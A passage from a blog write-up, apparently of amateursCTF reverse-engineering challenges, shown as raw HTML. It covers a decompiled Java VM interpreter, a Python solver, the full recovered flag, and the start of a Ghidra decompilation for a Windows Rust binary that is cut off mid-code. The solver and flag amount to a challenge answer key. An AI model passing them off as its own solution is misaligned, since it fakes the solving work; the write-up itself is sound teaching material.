stack[sp]);</span>\n                    pc<span class=\"token operator\">++</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">41</span><span class=\"token operator\">:</span>\n\n                    <span class=\"token keyword\">byte</span> b15 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">byte</span> b16 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>b15<span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                        pc <span class=\"token operator\">=</span> b16<span class=\"token punctuation\">;</span>\n                        <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n                        pc <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n                        <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token punctuation\">}</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">42</span><span class=\"token operator\">:</span>\n                    <span class=\"token comment\">// input-2</span>\n                    <span class=\"token comment\">// check-4</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"======> 0x2a Check buf : \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">byte</span> b17 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span> <span class=\"token comment\">// 0x0</span>\n                    <span class=\"token keyword\">byte</span> b18 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span> <span class=\"token comment\">// 0x12</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>b17<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\" Is buf[b17] == 0 : \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">println</span><span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>b17<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>buf<span class=\"token punctuation\">[</span>b17<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                        pc <span class=\"token operator\">=</span> b18<span class=\"token punctuation\">;</span> <span class=\"token comment\">// pc を 0x12 に変更</span>\n                        <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n                        <span class=\"token comment\">// No more word</span>\n                        pc <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n                        <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token punctuation\">}</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">43</span><span class=\"token operator\">:</span>\n                    <span class=\"token comment\">// check-1</span>\n                    pc <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span> <span class=\"token comment\">// 0x2c</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">52</span><span class=\"token operator\">:</span>\n\n                    <span class=\"token keyword\">int</span> i5 <span class=\"token operator\">=</span> sp<span class=\"token punctuation\">;</span>\n                    sp<span class=\"token operator\">++</span><span class=\"token punctuation\">;</span>\n                    stack<span class=\"token punctuation\">[</span>i5<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> buf<span class=\"token punctuation\">[</span>program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n\n                <span class=\"token keyword\">case</span> <span class=\"token number\">53</span><span class=\"token operator\">:</span>\n                    <span class=\"token comment\">// check-2</span>\n                    sp<span class=\"token operator\">--</span><span class=\"token punctuation\">;</span>\n                    buf<span class=\"token punctuation\">[</span>program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> stack<span class=\"token punctuation\">[</span>sp<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span> <span class=\"token comment\">// program[pc + 1] = 0x0 </span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">println</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"===========================================\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"======> 0x53 Buf :\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"  into : \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">println</span><span class=\"token punctuation\">(</span>stack<span class=\"token punctuation\">[</span>sp<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token number\">54</span><span class=\"token operator\">:</span>\n\n                    <span class=\"token keyword\">int</span> i6 <span class=\"token operator\">=</span> sp<span class=\"token punctuation\">;</span>\n                    sp<span class=\"token operator\">++</span><span class=\"token punctuation\">;</span>\n                    stack<span class=\"token punctuation\">[</span>i6<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    pc <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token class-name\">Byte</span><span class=\"token punctuation\">.</span>MAX_VALUE<span class=\"token operator\">:</span>\n                    bufferedReader<span class=\"token punctuation\">.</span><span class=\"token function\">close</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">return</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">default</span><span class=\"token operator\">:</span>\n\n                    <span class=\"token keyword\">byte</span> b19 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">byte</span> b20 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">byte</span> b21 <span class=\"token operator\">=</span> program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n                    program<span class=\"token punctuation\">[</span>pc<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">byte</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>program<span class=\"token punctuation\">[</span>pc<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> b20<span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> b21<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">byte</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>program<span class=\"token punctuation\">[</span>pc<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> b19<span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> b21<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">byte</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>program<span class=\"token punctuation\">[</span>pc <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> b19<span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> b20<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n            <span class=\"token punctuation\">}</span>\n        <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Analyzing the result showed that the input values are validated through the <code class=\"language-text\">53 -> 12</code> or <code class=\"language-text\">42</code> operations.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 614px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/3cbfb050366f6c63e8f1b9d1d634f242/e9131/image-20230717201625074.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 89.99999999999999%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAACyElEQVQ4y1WUV1fbUBCE9ZBOAqSRkILB2Lh3y0W23OSKCyWQ5P//kc1+K8sxD/dcnStpdnZm7jrjeFsW6b7Mr3y5KU1knR/Zus4MbK0LgSxSPVnlhraPzlsSXLRkctmRzpeyFF/FpfwmYav0+lKc2/JUHhtL/cCT+9pcwQK5q85krj8Pz1zp/6hL+3NB/G9VcY8zknsWk8KLc8k/Z8UMBFB2QJ1NcSy/6guZJX3ZFMa6Anl0lzKMNSVQNsvsQCjqHmdlpGfeSdH20XnTCne/VnSV7T3Azo0CAjBNdOSuMtXWRsaY9pCi9TFv7PzTStiurt73mrIuGlhT39ePMv9bRreH+rUBwhSt/rTWWx37UnuXUq1K1vok7pkUPFMItu1PBakfpndaOgAAiAErMyTYmQLDaaJr+o4VjDYHP11rmTNY5lXPSD9juMwOzV1cAxhN2WfJ7o6Vf1q1Vj1lyk+RERHI/m4aPrjasgIARkzQEZ0AJU491RA23knJnIbp+KJtz+57NeNlfFfIsZhUZqahAeYD03EYa8hMwYZnDctbqFnJFoC8b37Imb71o7RU3l5JVfU2U3AVNuSQiETmUAQHaR1pYMsO+/JBwjTmf4qiLbuzrxkvkYDI8IFFRxcaAgo7wGAcaVxVZhSuHaas9ScMCTUFcJhq85RvH5NBMoeOZBJg3O/qOTqiMe2GOSyGOUSvUMMwOlQnc2aKsor0a6gJFCc2aIeO0RXcXb2o5Vta1rVI9ywm0dAAkB89ZdjQHYfJJdeNm/Ikh9ayG7aM2xQg4LQKQ4DRE5fbW8CBDg0mDmAUqhwk9xiqbuFw6NoO4O/mylihI3pyBhDt8nNLrxtZJT6cUWh39Ww4bMcXDAn23/YmNEinD3cZ7WA0385FMgio5VN3HC5FgDa+agth0DKq0Oy+Orf7iot8DAt+xOnQoKLpxznGEJ2o5X+/2jnwx7QZ3gAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/3cbfb050366f6c63e8f1b9d1d634f242/8ac56/image-20230717201625074.webp 240w,\n/static/3cbfb050366f6c63e8f1b9d1d634f242/d3be9/image-20230717201625074.webp 480w,\n/static/3cbfb050366f6c63e8f1b9d1d634f242/5316f/image-20230717201625074.webp 614w\"\n              sizes=\"(max-width: 614px) 100vw, 614px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/3cbfb050366f6c63e8f1b9d1d634f242/8ff5a/image-20230717201625074.png 240w,\n/static/3cbfb050366f6c63e8f1b9d1d634f242/e85cb/image-20230717201625074.png 480w,\n/static/3cbfb050366f6c63e8f1b9d1d634f242/e9131/image-20230717201625074.png 614w\"\n            sizes=\"(max-width: 614px) 100vw, 614px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/3cbfb050366f6c63e8f1b9d1d634f242/e9131/image-20230717201625074.png\"\n            alt=\"image-20230717201625074\"\n            title=\"image-20230717201625074\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>So based on the values I got from print debugging, I created the following solver and recovered the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"code.jvm\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"rb\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> f<span class=\"token punctuation\">:</span>\n    code <span class=\"token operator\">=</span> f<span class=\"token punctuation\">.</span>read<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\nflag <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x34</span><span class=\"token punctuation\">,</span><span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>code<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">if</span> code<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">53</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">if</span> code<span class=\"token punctuation\">[</span>i<span class=\"token operator\">+</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">12</span> <span class=\"token keyword\">and</span> code<span class=\"token punctuation\">[</span>i<span class=\"token operator\">+</span><span class=\"token number\">5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">12</span><span class=\"token punctuation\">:</span>\n            a <span class=\"token operator\">=</span> code<span class=\"token punctuation\">[</span>i<span class=\"token operator\">+</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span>\n            b <span class=\"token operator\">=</span> code<span class=\"token punctuation\">[</span>i<span class=\"token operator\">+</span><span class=\"token number\">7</span><span class=\"token punctuation\">]</span>\n            flag <span class=\"token operator\">+=</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>a<span class=\"token operator\">+</span>b<span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">elif</span> code<span class=\"token punctuation\">[</span>i<span class=\"token operator\">+</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">12</span> <span class=\"token keyword\">and</span> code<span class=\"token punctuation\">[</span>i<span class=\"token operator\">+</span><span class=\"token number\">5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">42</span><span class=\"token punctuation\">:</span>\n            flag <span class=\"token operator\">+=</span> <span class=\"token string\">\"_\"</span>\n        <span class=\"token comment\"># elif code[i+2] == 8:</span>\n\n        <span class=\"token keyword\">else</span><span class=\"token punctuation\">:</span>\n            <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span>\n            <span class=\"token comment\"># print(code[i+4],code[i+7])</span>\n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token punctuation\">:</span><span class=\"token punctuation\">:</span><span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\namateursCTF<span class=\"token punctuation\">{</span>wh4t_d0_yoU_m34n_j4v4_isnt_A_vm?<span class=\"token punctuation\">}</span></code></pre></div>\n<h2 id=\"rusteze-2rev\" style=\"position:relative;\"><a href=\"#rusteze-2rev\" aria-label=\"rusteze 2rev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>rusteze 2(Rev)</h2>\n<blockquote>\n<p>My boss said Linux binaries wouldn’t reach enough customers so I was forced to make a Windows version.</p>\n<p>Flag is amateursCTF{[a-zA-Z0-9_]+}</p>\n</blockquote>\n<p>This was another Rust binary challenge, but this time it was an EXE analysis problem.</p>\n<p>Tracing execution from the entry point shows that byte data laid out starting at <code class=\"language-text\">0x2c40</code> in the <code class=\"language-text\">.data</code> section is loaded as a function and then called.</p>\n<p>So I marked the consecutive region starting at <code class=\"language-text\">0x2c40</code> in the data section as a function and then decompiled it.</p>\n<p>I was able to recover a function like the following.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">void</span> <span class=\"token function\">FUN_140002c40</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">void</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token punctuation\">{</span>\n  byte bVar1<span class=\"token punctuation\">;</span>\n  longlong lVar2<span class=\"token punctuation\">;</span>\n  undefined8 uVar3<span class=\"token punctuation\">;</span>\n  longlong lVar4<span class=\"token punctuation\">;</span>\n  undefined8 <span class=\"token operator\">*</span>puVar5<span class=\"token punctuation\">;</span>\n  LPVOID <span class=\"token operator\">*</span>ppvVar6<span class=\"token punctuation\">;</span>\n  undefined <span class=\"token operator\">*</span><span class=\"token operator\">*</span>ppuVar7<span class=\"token punctuation\">;</span>\n  undefined <span class=\"token operator\">*</span><span class=\"token operator\">*</span>ppuVar8<span class=\"token punctuation\">;</span>\n  undefined8 local_188 <span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  LPCRITICAL_SECTION local_158<span class=\"token punctuation\">;</span>\n  LPVOID local_150 <span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  undefined4 uStack_138<span class=\"token punctuation\">;</span>\n  undefined4 uStack_134<span class=\"token punctuation\">;</span>\n  undefined4 uStack_130<span class=\"token punctuation\">;</span>\n  undefined4 uStack_12c<span class=\"token punctuation\">;</span>\n  PSRWLOCK pRStack_128<span class=\"token punctuation\">;</span>\n  undefined8 auStack_120 <span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  undefined8 auStack_f0 <span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  undefined uStack_d3<span class=\"token punctuation\">;</span>\n  undefined uStack_d2<span class=\"token punctuation\">;</span>\n  undefined uStack_d1<span class=\"token punctuation\">;</span>\n  undefined uStack_d0<span class=\"token punctuation\">;</span>\n  undefined uStack_cf<span class=\"token punctuation\">;</span>\n  undefined uStack_ce<span class=\"token punctuation\">;</span>\n  undefined uStack_cd<span class=\"token punctuation\">;</span>\n  undefined uStack_cc<span class=\"token punctuation\">;</span>\n  undefined uStack_cb<span class=\"token punctuation\">;</span>\n  undefined uStack_ca<span class=\"token punctuation\">;</span>\n  undefined uStack_c9<span class=\"token punctuation\">;</span>\n  undefined uStack_c8<span class=\"token punctuation\">;</span>\n  undefined uStack_c7<span class=\"token punctuation\">;</span>\n  undefined uStack_c6<span class=\"token punctuation\">;</span>\n  undefined uStack_c5<span class=\"token punctuation\">;</span>\n  undefined uStack_c4<span class=\"token punctuation\">;</span>\n  undefined uStack_c3<span class=\"token punctuation\">;</span>\n  undefined uStack_c2<span class=\"token punctuation\">;</span>\n  undefined uStack_c1<span class=\"token punctuation\">;</span>\n  undefined uStack_c0<span class=\"token punctuation\">;</span>\n  undefined uStack_bf<span class=\"token punctuation\">;</span>\n  undefined uStack_be<span class=\"token punctuation\">;</span>\n  undefined uStack_bd<span class=\"token punctuation\">;</span>\n  undefined uStack_bc<span class=\"token punctuation\">;</span>\n  undefined uStack_bb<span class=\"token punctuation\">;</span>\n  undefined uStack_ba<span class=\"token punctuation\">;</span>\n  undefined uStack_b9<span class=\"token punctuation\">;</span>\n  undefined uStack_b8<span class=\"token punctuation\">;</span>\n  undefined uStack_b7<span class=\"token punctuation\">;</span>\n  undefined uStack_b6<span class=\"token punctuation\">;</span>\n  undefined uStack_b5<span class=\"token punctuation\">;</span>\n  undefined uStack_b4<span class=\"token punctuation\">;</span>\n  undefined uStack_b3<span class=\"token punctuation\">;</span>\n  undefined uStack_b2<span class=\"token punctuation\">;</span>\n  undefined uStack_b1<span class=\"token punctuation\">;</span>\n  undefined8 auStack_b0 <span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  undefined8 auStack_80 <span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n  undefined8 uStack_50<span class=\"token punctuation\">;</span>\n  undefined8 uStack_48<span class=\"token punctuation\">;</span>\n  longlong lStack_40<span class=\"token punctuation\">;</span>\n  LPVOID <span class=\"token operator\">*</span>ppvStack_38<span class=\"token punctuation\">;</span>\n  longlong lStack_30<span class=\"token punctuation\">;</span>\n  LPVOID <span class=\"token operator\">*</span>ppvStack_28<span class=\"token punctuation\">;</span>\n  longlong lStack_20<span class=\"token punctuation\">;</span>\n  LPVOID <span class=\"token operator\">*</span>ppvStack_18<span class=\"token punctuation\">;</span>\n  undefined8 local_10<span class=\"token punctuation\">;</span>\n  \n  local_10 <span class=\"token operator\">=</span> <span class=\"token number\">0xfffffffffffffffe</span><span class=\"token punctuation\">;</span>\n  ppuVar7 <span class=\"token operator\">=</span> <span class=\"token operator\">&amp;</span>PTR_DAT_140025698<span class=\"token punctuation\">;</span>\n  puVar5 <span class=\"token operator\">=</span> local_188<span class=\"token punctuation\">;</span>\n  <span class=\"token function\">FUN_140001d60</span><span class=\"token punctuation\">(</span>puVar5<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>PTR_DAT_140025698<span class=\"token punctuation\">,</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>PTR_s_src\\main<span class=\"token punctuation\">.</span>rs_1400256a8<span class=\"token punctuation\">,</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token function\">FUN_140009ef0</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>undefined4 <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>puVar5<span class=\"token punctuation\">,</span>ppuVar7<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  local_158 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>LPCRITICAL_SECTION<span class=\"token punctuation\">)</span><span class=\"token function\">FUN_140009a50</span><span class=\"token punctuation\">(</span>puVar5<span class=\"token punctuation\">,</span>ppuVar7<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  ppuVar7 <span class=\"token operator\">=</span> <span class=\"token function\">FUN_140009ac0</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>local_158<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  ppuVar8 <span class=\"token operator\">=</span> <span class=\"token operator\">&amp;</span>PTR_s_src\\main<span class=\"token punctuation\">.</span>rs_1400256a8<span class=\"token punctuation\">;</span>\n  <span class=\"token function\">FUN_1400052e0</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>longlong<span class=\"token punctuation\">)</span>ppuVar7<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>PTR_s_src\\main<span class=\"token punctuation\">.</span>rs_1400256a8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  ppvVar6 <span class=\"token operator\">=</span> local_150<span class=\"token punctuation\">;</span>\n  <span class=\"token function\">FUN_1400030e0</span><span class=\"token punctuation\">(</span>ppvVar6<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  pRStack_128 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>PSRWLOCK<span class=\"token punctuation\">)</span><span class=\"token function\">FUN_140009830</span><span class=\"token punctuation\">(</span>ppvVar6<span class=\"token punctuation\">,</span>ppuVar8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  ppvVar6 <span class=\"token operator\">=</span> local_150<span class=\"token punctuation\">;</span>\n  lVar2 <span class=\"token operator\">=</span> <span class=\"token function\">FUN_140009860</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>pRStack_128<span class=\"token punctuation\">,</span>ppvVar6<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  uStack_50<span class=\"token punctuation\">.</span>_0_4_ <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>undefined4<span class=\"token punctuation\">)</span>lVar2<span class=\"token punctuation\">;</span>\n  uStack_50<span class=\"token punctuation\">.</span>_4_4_ <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>undefined4<span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>ulonglong<span class=\"token punctuation\">)</span>lVar2 <span class=\"token operator\">>></span> <span class=\"token number\">0x20</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  uStack_48<span class=\"token punctuation\">.</span>_0_4_ <span class=\"token operator\">=</span> <span class=\"token function\">SUB84</span><span class=\"token punctuation\">(</span>ppvVar6<span class=\"token punctuation\">,</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  uStack_48<span class=\"token punctuation\">.</span>_4_4_ <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>undefined4<span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>ulonglong<span class=\"token punctuation\">)</span>ppvVar6 <span class=\"token operator\">>></span> <span class=\"token number\">0x20</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  uStack_138 <span class=\"token 